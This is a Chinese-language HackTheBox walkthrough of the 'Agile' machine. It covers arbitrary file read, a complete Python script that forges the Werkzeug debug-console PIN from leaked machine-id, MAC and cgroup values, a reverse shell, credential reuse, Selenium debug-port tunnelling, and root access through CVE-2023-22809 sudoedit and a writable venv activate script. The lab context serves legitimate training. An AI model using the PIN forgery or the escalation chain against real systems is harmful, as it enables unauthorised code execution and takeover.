HackTheBox - Medium - Linux - Agile

2023-12-28 10:59:55

Agile

Agile 是一个中等难度的 Linux 机器,在端口 80 上有一个密码管理网站。创建帐户并添加几个密码后,发现网站的导出到 CSV 功能容易受到任意文件读取的攻击。其他终结点的枚举显示“/download”在访问时引发错误,并显示“Werkzeug”调试控制台。此控制台通过 PIN 进行保护,但是此控制台与通过前面提到的漏洞读取文件的能力相结合,允许用户对此 PIN 进行逆向工程,并以“www-data”的形式执行系统命令。然后,可以识别数据库凭据,以便连接到密码管理器网站的 SQL 数据库,该数据库保存系统上“corum”用户的凭据。发现该网站的第二个版本正在运行,自动化系统通过“Selenium”网络驱动程序对其执行测试。“Selenium”的调试端口是开放的,通过SSH隧道,攻击者可以访问网站的测试环境并获取用户“edwards”的凭据。最后,“CVE-2023-22809”(全局“bashrc”文件中的自定义条目)和 Python 虚拟环境激活脚本上的错误权限的组合会导致权限提升。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

注册一个账户并登录

file

有个export功能,点击后查看bp发现一个/download,存在任意文件读取

file

概率触发报错

file

Foldhold - PIN伪造

读machine-id

file

读网卡mac地址

file

将地址转16进制

file

在报错当中,暴露了app.py的路径,在/etc/passwd里也看到www-data

/app/venv/lib/python3.10/site-packages/flask/app.py

file

在这个werkzeug版本中还需要在machine-id后面拼接cgroup

file

伪造PIN exp

import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'345052411386',# str(uuid.getnode())
'ed5b159560f54721827644bc9b220d00superpass.service'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

file

输入PIN后,现在可以执行python代码

file

祖传reverse shell

file

file

本地横向移动 -> corum

在config_prod.json里发现了mysql的凭据

file

进mysql常规操作

file

corum是系统中的用户,发现users表中的hash爆不出来

还有个passwords表,corum是密码直接是明文密码

file

直接登ssh

file

本地横向移动 -> edwards

在test的站点里面发现一个py脚本,它从creds.txt读取凭据,使用selenium登录测试站点

file

往下看可以看到Selenium调试端口是41829

file

用ssh做本地端口转发

file

由于没有chrome,而且还比较简单,后面就看wp做一下

file

inspect可以看到edwards的密码

file

su过去

file

本地权限提升

sudo -l

file

查看sudo版本后谷歌能够找到相关的提权cve

file

它能够让我们读取意外的文件,但目前我们只能模拟dev_admin执行

而在test_and_update.sh中加载了activate配置文件

dwards@agile:/app$ cat ./test_and_update.sh
#!/bin/bash
...
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
...

查看/etc/bash.bashrc发现也引用activate

file

由于activate,dev_admin用户可写,所以搭配上面的cve修改activate文件,写入shellcode

file

祖传suid bash

file

root flag还在老地方

file

事后我猜测activate被root触发是因为定时任务,查找了一下发现确实是root有计划任务

file

文章来源:https://blog.csdn.net/qq_54704239/article/details/135254450
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。